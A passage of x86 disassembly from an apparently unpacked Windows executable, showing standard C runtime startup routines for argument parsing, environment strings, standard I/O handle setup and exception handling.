		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C738:				; CODE XREF: sub_41C63E+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41C749
		mov	dword_4383CC, 8Ah


loc_41C749:				; CODE XREF: sub_41C63E+99j
					; sub_41C63E+ACj ...
		push	dword_4383CC
		push	8
		call	ebx
		pop	ecx
		mov	dword_4383CC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41C766
; ---------------------------------------------------------------------------


loc_41C75E:				; CODE XREF: sub_41C63E+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41C766:				; CODE XREF: sub_41C63E+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_469544, eax


loc_41C76E:				; CODE XREF: sub_41C63E+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C77C
; ---------------------------------------------------------------------------


loc_41C773:				; CODE XREF: sub_41C63E+Fj
					; sub_41C63E+1Aj
		push	[ebp+arg_4]
		call	dword_4211A0	; UnhandledExceptionFilter


loc_41C77C:				; CODE XREF: sub_41C63E+2Cj
					; sub_41C63E+133j
		pop	ebx
		pop	ebp
		retn
sub_41C63E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C77F	proc near		; CODE XREF: sub_41C63E+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4383C8
		cmp	dword_438348, edx
		push	esi
		mov	eax, offset dword_438348
		jz	short loc_41C7AC
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:438348h[esi*4]


loc_41C7A1:				; CODE XREF: sub_41C77F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41C7AC
		cmp	[eax], edx
		jnz	short loc_41C7A1


loc_41C7AC:				; CODE XREF: sub_41C77F+16j
					; sub_41C77F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438348h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41C7BF
		cmp	[eax], edx
		jz	short locret_41C7C1


loc_41C7BF:				; CODE XREF: sub_41C77F+3Aj
		xor	eax, eax

locret_41C7C1:				; CODE XREF: sub_41C77F+3Ej
		retn
sub_41C77F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7C2	proc near		; CODE XREF: sub_417AF8+A5p
		cmp	dword_46AB0C, 0
		jnz	short loc_41C7D0
		call	sub_41C384


loc_41C7D0:				; CODE XREF: sub_41C7C2+7j
		push	esi
		mov	esi, dword_46AB04
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41C802


loc_41C7DD:				; CODE XREF: sub_41C7C2+33j
					; sub_41C7C2+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41C7FA
		test	al, al
		jz	short loc_41C7FA
		movzx	eax, al
		push	eax
		call	sub_41E6AC
		test	eax, eax
		pop	ecx
		jz	short loc_41C7DD
		inc	esi
		jmp	short loc_41C7DD
; ---------------------------------------------------------------------------


loc_41C7FA:				; CODE XREF: sub_41C7C2+21j
					; sub_41C7C2+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41C80C


loc_41C7FF:				; CODE XREF: sub_41C7C2+52j
		inc	esi
		jmp	short loc_41C80C
; ---------------------------------------------------------------------------


loc_41C802:				; CODE XREF: sub_41C7C2+19j
		cmp	al, 20h
		jbe	short loc_41C80C


loc_41C806:				; CODE XREF: sub_41C7C2+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41C806


loc_41C80C:				; CODE XREF: sub_41C7C2+3Bj
					; sub_41C7C2+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41C816
		cmp	al, 20h
		jbe	short loc_41C7FF


loc_41C816:				; CODE XREF: sub_41C7C2+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41C7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C81A	proc near		; CODE XREF: sub_417AF8+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_46AB0C, ebx
		push	esi
		push	edi
		jnz	short loc_41C82C
		call	sub_41C384


loc_41C82C:				; CODE XREF: sub_41C81A+Bj
		mov	esi, dword_4694E0
		xor	edi, edi


loc_41C834:				; CODE XREF: sub_41C81A+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41C84C
		cmp	al, 3Dh
		jz	short loc_41C83F
		inc	edi


loc_41C83F:				; CODE XREF: sub_41C81A+22j
		push	esi
		call	sub_415CF0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41C834
; ---------------------------------------------------------------------------


loc_41C84C:				; CODE XREF: sub_41C81A+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4694BC, esi
		jnz	short loc_41C86E
		push	9
		call	sub_417BEE
		pop	ecx


loc_41C86E:				; CODE XREF: sub_41C81A+4Aj
		mov	edi, dword_4694E0
		cmp	[edi], bl
		jz	short loc_41C8B1
		push	ebp


loc_41C879:				; CODE XREF: sub_41C81A+94j
		push	edi
		call	sub_415CF0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41C8AA
		push	ebp
		call	sub_415DC9
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41C89D
		push	9
		call	sub_417BEE
		pop	ecx


loc_41C89D:				; CODE XREF: sub_41C81A+79j
		push	edi
		push	dword ptr [esi]
		call	sub_415C00
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41C8AA:				; CODE XREF: sub_41C81A+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41C879
		pop	ebp


loc_41C8B1:				; CODE XREF: sub_41C81A+5Cj
		push	dword_4694E0
		call	sub_415E3D
		pop	ecx
		mov	dword_4694E0, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_46AB08, 1
		pop	ebx
		retn
sub_41C81A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8D3	proc near		; CODE XREF: sub_417AF8+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_46AB0C, ebx
		push	esi
		push	edi
		jnz	short loc_41C8EA
		call	sub_41C384


loc_41C8EA:				; CODE XREF: sub_41C8D3+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_42107C	; GetModuleFileNameA
		mov	eax, dword_46AB04
		mov	off_4694CC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41C90F
		mov	edi, eax


loc_41C90F:				; CODE XREF: sub_41C8D3+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41C96C
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_415DC9
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41C93F
		push	8
		call	sub_417BEE
		pop	ecx


loc_41C93F:				; CODE XREF: sub_41C8D3+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41C96C
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4694B4, esi
		pop	edi
		pop	esi
		mov	dword_4694B0, eax
		pop	ebx
		leave
		retn
sub_41C8D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96C	proc near		; CODE XREF: sub_41C8D3+47p
					; sub_41C8D3+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41C996
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41C996:				; CODE XREF: sub_41C96C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41C9DF


loc_41C99B:				; CODE XREF: sub_41C96C+58j
					; sub_41C96C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41C9CD
		test	dl, dl
		jz	short loc_41C9CD
		movzx	edx, dl
		test	byte_46A9E1[edx], 4
		jz	short loc_41C9C0
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9C0
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41C9C0:				; CODE XREF: sub_41C96C+46j
					; sub_41C96C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C99B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41C99B
; ---------------------------------------------------------------------------


loc_41C9CD:				; CODE XREF: sub_41C96C+36j
					; sub_41C96C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9D7
		and	byte ptr [esi],	0
		inc	esi


loc_41C9D7:				; CODE XREF: sub_41C96C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA22
		inc	eax
		jmp	short loc_41CA22
; ---------------------------------------------------------------------------


loc_41C9DF:				; CODE XREF: sub_41C96C+2Dj
					; sub_41C96C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41C9EA
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41C9EA:				; CODE XREF: sub_41C96C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_46A9E1[ebx], 4
		jz	short loc_41CA05
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41CA04
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41CA04:				; CODE XREF: sub_41C96C+91j
		inc	eax


loc_41CA05:				; CODE XREF: sub_41C96C+8Bj
		cmp	dl, 20h
		jz	short loc_41CA13
		test	dl, dl
		jz	short loc_41CA17
		cmp	dl, 9
		jnz	short loc_41C9DF


loc_41CA13:				; CODE XREF: sub_41C96C+9Cj
		test	dl, dl
		jnz	short loc_41CA1A


loc_41CA17:				; CODE XREF: sub_41C96C+A0j
		dec	eax
		jmp	short loc_41CA22
; ---------------------------------------------------------------------------


loc_41CA1A:				; CODE XREF: sub_41C96C+A9j
		test	esi, esi
		jz	short loc_41CA22
		and	byte ptr [esi-1], 0


loc_41CA22:				; CODE XREF: sub_41C96C+6Ej
					; sub_41C96C+71j ...
		and	[ebp+arg_10], 0


loc_41CA26:				; CODE XREF: sub_41C96C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41CB0F


loc_41CA2F:				; CODE XREF: sub_41C96C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41CA3B
		cmp	dl, 9
		jnz	short loc_41CA3E


loc_41CA3B:				; CODE XREF: sub_41C96C+C8j
		inc	eax
		jmp	short loc_41CA2F
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C96C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41CB0F
		test	edi, edi
		jz	short loc_41CA53
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41CA53:				; CODE XREF: sub_41C96C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41CA58:				; CODE XREF: sub_41C96C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41CA61:				; CODE XREF: sub_41C96C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41CA6A
		inc	eax
		inc	ebx
		jmp	short loc_41CA61
; ---------------------------------------------------------------------------


loc_41CA6A:				; CODE XREF: sub_41C96C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41CA9B
		test	bl, 1
		jnz	short loc_41CA99
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41CA88
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41CA88
		mov	eax, edx
		jmp	short loc_41CA8B
; ---------------------------------------------------------------------------


loc_41CA88:				; CODE XREF: sub_41C96C+10Dj
					; sub_41C96C+116j
		mov	[ebp+arg_0], edi


loc_41CA8B:				; CODE XREF: sub_41C96C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41CA99:				; CODE XREF: sub_41C96C+106j
		shr	ebx, 1


loc_41CA9B:				; CODE XREF: sub_41C96C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41CAB0
		inc	ebx


loc_41CAA3:				; CODE XREF: sub_41C96C+142j
		test	esi, esi
		jz	short loc_41CAAB
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41CAAB:				; CODE XREF: sub_41C96C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41CAA3


loc_41CAB0:				; CODE XREF: sub_41C96C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41CB00
		cmp	[ebp+arg_10], 0
		jnz	short loc_41CAC6
		cmp	dl, 20h
		jz	short loc_41CB00
		cmp	dl, 9
		jz	short loc_41CB00


loc_41CAC6:				; CODE XREF: sub_41C96C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41CAFA
		test	esi, esi
		jz	short loc_41CAE9
		movzx	ebx, dl
		test	byte_46A9E1[ebx], 4
		jz	short loc_41CAE2
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41CAE2:				; CODE XREF: sub_41C96C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41CAF8
; ---------------------------------------------------------------------------


loc_41CAE9:				; CODE XREF: sub_41C96C+162j
		movzx	edx, dl
		test	byte_46A9E1[edx], 4
		jz	short loc_41CAF8
		inc	eax
		inc	dword ptr [ecx]


loc_41CAF8:				; CODE XREF: sub_41C96C+17Bj
					; sub_41C96C+187j
		inc	dword ptr [ecx]


loc_41CAFA:				; CODE XREF: sub_41C96C+15Ej
		inc	eax
		jmp	loc_41CA58
; ---------------------------------------------------------------------------


loc_41CB00:				; CODE XREF: sub_41C96C+148j
					; sub_41C96C+153j ...
		test	esi, esi
		jz	short loc_41CB08
		and	byte ptr [esi],	0
		inc	esi


loc_41CB08:				; CODE XREF: sub_41C96C+196j
		inc	dword ptr [ecx]
		jmp	loc_41CA26
; ---------------------------------------------------------------------------


loc_41CB0F:				; CODE XREF: sub_41C96C+BDj
					; sub_41C96C+D5j
		test	edi, edi
		jz	short loc_41CB16
		and	dword ptr [edi], 0


loc_41CB16:				; CODE XREF: sub_41C96C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41C96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB20	proc near		; CODE XREF: sub_417AF8+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_46964C
		push	ebx
		push	ebp
		mov	ebp, dword_42103C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41CB6E
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41CB4F
		mov	dword_46964C, 1
		jmp	short loc_41CB77
; ---------------------------------------------------------------------------


loc_41CB4F:				; CODE XREF: sub_41CB20+21j
		call	dword_421040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41CC49
		mov	dword_46964C, 2
		jmp	loc_41CBFD
; ---------------------------------------------------------------------------


loc_41CB6E:				; CODE XREF: sub_41CB20+19j
		cmp	eax, 1
		jnz	loc_41CBF8


loc_41CB77:				; CODE XREF: sub_41CB20+2Dj
		cmp	esi, ebx
		jnz	short loc_41CB87
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41CC49


loc_41CB87:				; CODE XREF: sub_41CB20+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41CB9C


loc_41CB8E:				; CODE XREF: sub_41CB20+73j
					; sub_41CB20+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB8E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41CB8E


loc_41CB9C:				; CODE XREF: sub_41CB20+6Cj
		sub	eax, esi
		mov	edi, dword_421138
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41CBED
		push	ebp
		call	sub_415DC9
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41CBED
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41CBE9
		push	[esp+18h+var_8]
		call	sub_415E3D
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41CBE9:				; CODE XREF: sub_41CB20+B9j
		mov	ebx, [esp+18h+var_8]


loc_41CBED:				; CODE XREF: sub_41CB20+99j
					; sub_41CB20+A8j
		push	esi
		call	dword_421044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41CC4B
; ---------------------------------------------------------------------------


loc_41CBF8:				; CODE XREF: sub_41CB20+51j
		cmp	eax, 2
		jnz	short loc_41CC49


loc_41CBFD:				; CODE XREF: sub_41CB20+49j
		cmp	edi, ebx
		jnz	short loc_41CC0D
		call	dword_421040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41CC49


loc_41CC0D:				; CODE XREF: sub_41CB20+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41CC1D


loc_41CC13:				; CODE XREF: sub_41CB20+F6j
					; sub_41CB20+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CC13
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41CC13


loc_41CC1D:				; CODE XREF: sub_41CB20+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41CC33
		xor	esi, esi
		jmp	short loc_41CC3E
; ---------------------------------------------------------------------------


loc_41CC33:				; CODE XREF: sub_41CB20+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4155D0
		add	esp, 0Ch


loc_41CC3E:				; CODE XREF: sub_41CB20+111j
		push	edi
		call	dword_4211A4	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41CC4B
; ---------------------------------------------------------------------------


loc_41CC49:				; CODE XREF: sub_41CB20+39j
					; sub_41CB20+61j ...
		xor	eax, eax


loc_41CC4B:				; CODE XREF: sub_41CB20+D6j
					; sub_41CB20+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41CB20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC52	proc near		; CODE XREF: sub_417AF8+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41CC72
		push	1Bh
		call	sub_417BEE
		pop	ecx


loc_41CC72:				; CODE XREF: sub_41CC52+16j
		mov	dword_46A7C0, esi
		mov	dword_46A8C0, 20h
		lea	eax, [esi+100h]


loc_41CC88:				; CODE XREF: sub_41CC52+52j
		cmp	esi, eax
		jnb	short loc_41CCA6
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_46A7C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CCA6:				; CODE XREF: sub_41CC52+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_421164	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41CD82
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41CD82
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41CCDC
		mov	esi, eax


loc_41CCDC:				; CODE XREF: sub_41CC52+86j
		cmp	dword_46A8C0, esi
		jge	short loc_41CD36
		mov	edi, offset dword_46A7C4


loc_41CCE9:				; CODE XREF: sub_41CC52+DAj
		push	100h
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		jz	short loc_41CD30
		add	dword_46A8C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41CD07:				; CODE XREF: sub_41CC52+CFj
		cmp	eax, ecx
		jnb	short loc_41CD23
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41CD07
; ---------------------------------------------------------------------------


loc_41CD23:				; CODE XREF: sub_41CC52+B7j
		add	edi, 4
		cmp	dword_46A8C0, esi
		jl	short loc_41CCE9
		jmp	short loc_41CD36
; ---------------------------------------------------------------------------


loc_41CD30:				; CODE XREF: sub_41CC52+A4j
		mov	esi, dword_46A8C0


loc_41CD36:				; CODE XREF: sub_41CC52+90j
					; sub_41CC52+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41CD82


loc_41CD3C:				; CODE XREF: sub_41CC52+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41CD79
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41CD79
		test	cl, 8
		jnz	short loc_41CD5B
		push	eax
		call	dword_421030	; GetFileType
		test	eax, eax
		jz	short loc_41CD79


loc_41CD5B:				; CODE XREF: sub_41CC52+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46A7C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41CD79:				; CODE XREF: sub_41CC52+EFj
					; sub_41CC52+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41CD3C


loc_41CD82:				; CODE XREF: sub_41CC52+65j
					; sub_41CC52+71j ...
		xor	ebx, ebx


loc_41CD84:				; CODE XREF: sub_41CC52+195j
		mov	eax, dword_46A7C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41CDDF
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41CD9F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41CDA9
; ---------------------------------------------------------------------------


loc_41CD9F:				; CODE XREF: sub_41CC52+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41CDA9:				; CODE XREF: sub_41CC52+14Bj
		push	eax
		call	dword_421034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41CDCE
		push	edi
		call	dword_421030	; GetFileType
		test	eax, eax
		jz	short loc_41CDCE
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41CDD4


loc_41CDCE:				; CODE XREF: sub_41CC52+163j
					; sub_41CC52+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41CDE3
; ---------------------------------------------------------------------------


loc_41CDD4:				; CODE XREF: sub_41CC52+17Aj
		cmp	eax, 3
		jnz	short loc_41CDE3
		or	byte ptr [esi+4], 8
		jmp	short loc_41CDE3
; ---------------------------------------------------------------------------


loc_41CDDF:				; CODE XREF: sub_41CC52+13Ej
		or	byte ptr [esi+4], 80h


loc_41CDE3:				; CODE XREF: sub_41CC52+180j
					; sub_41CC52+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41CD84
		push	dword_46A8C0
		call	dword_421038	; SetHandleCount
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41CC52	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE08	proc near		; DATA XREF: sub_417AF8+Ao
					; sub_41A69A+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41CEA8
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41CE3B:				; CODE XREF: sub_41CE08+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CEA1
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41CE8F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41CE8F
		js	short loc_41CE9A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_416368
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4163AA
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41643E
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41CE8F:				; CODE XREF: sub_41CE08+40j
					; sub_41CE08+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41CE3B
; ---------------------------------------------------------------------------


loc_41CE9A:				; CODE XREF: sub_41CE08+54j
		mov	eax, 0
		jmp	short loc_41CEBD
; ---------------------------------------------------------------------------


loc_41CEA1:				; CODE XREF: sub_41CE08+36j
		mov	eax, 1
		jmp	short loc_41CEBD
; ---------------------------------------------------------------------------


loc_41CEA8:				; CODE XREF: sub_41CE08+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4163AA
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41CEBD:				; CODE XREF: sub_41CE08+97j
					; sub_41CE08+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CE08	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4163AA
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41CEE0	proc near		; CODE XREF: sub_417BEE+9p
					; sub_417C13+9p
		mov	eax, dword_4694E8
		cmp	eax, 1
		jz	short loc_41CEF7
		test	eax, eax
		jnz	short locret_41CF18
		cmp	dword_437D64, 1
		jnz	short locret_41CF18


loc_41CEF7:				; CODE XREF: sub_41CEE0+8j
		push	0FCh
		call	sub_41CF19
		mov	eax, dword_469650
		pop	ecx
		test	eax, eax
		jz	short loc_41CF0D
		call	eax


loc_41CF0D:				; CODE XREF: sub_41CEE0+29j
		push	0FFh
		call	sub_41CF19
		pop	ecx

locret_41CF18:				; CODE XREF: sub_41CEE0+Cj
					; sub_41CEE0+15j
		retn
sub_41CEE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF19	proc near		; CODE XREF: sub_417BEE+12p
					; sub_417C13+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4383D8


loc_41CF2C:				; CODE XREF: sub_41CF19+20j
		cmp	edx, [eax]
		jz	short loc_41CF3B
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_438468
		jl	short loc_41CF2C


loc_41CF3B:				; CODE XREF: sub_41CF19+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_4383D8[esi]
		jnz	loc_41D069
		mov	eax, dword_4694E8
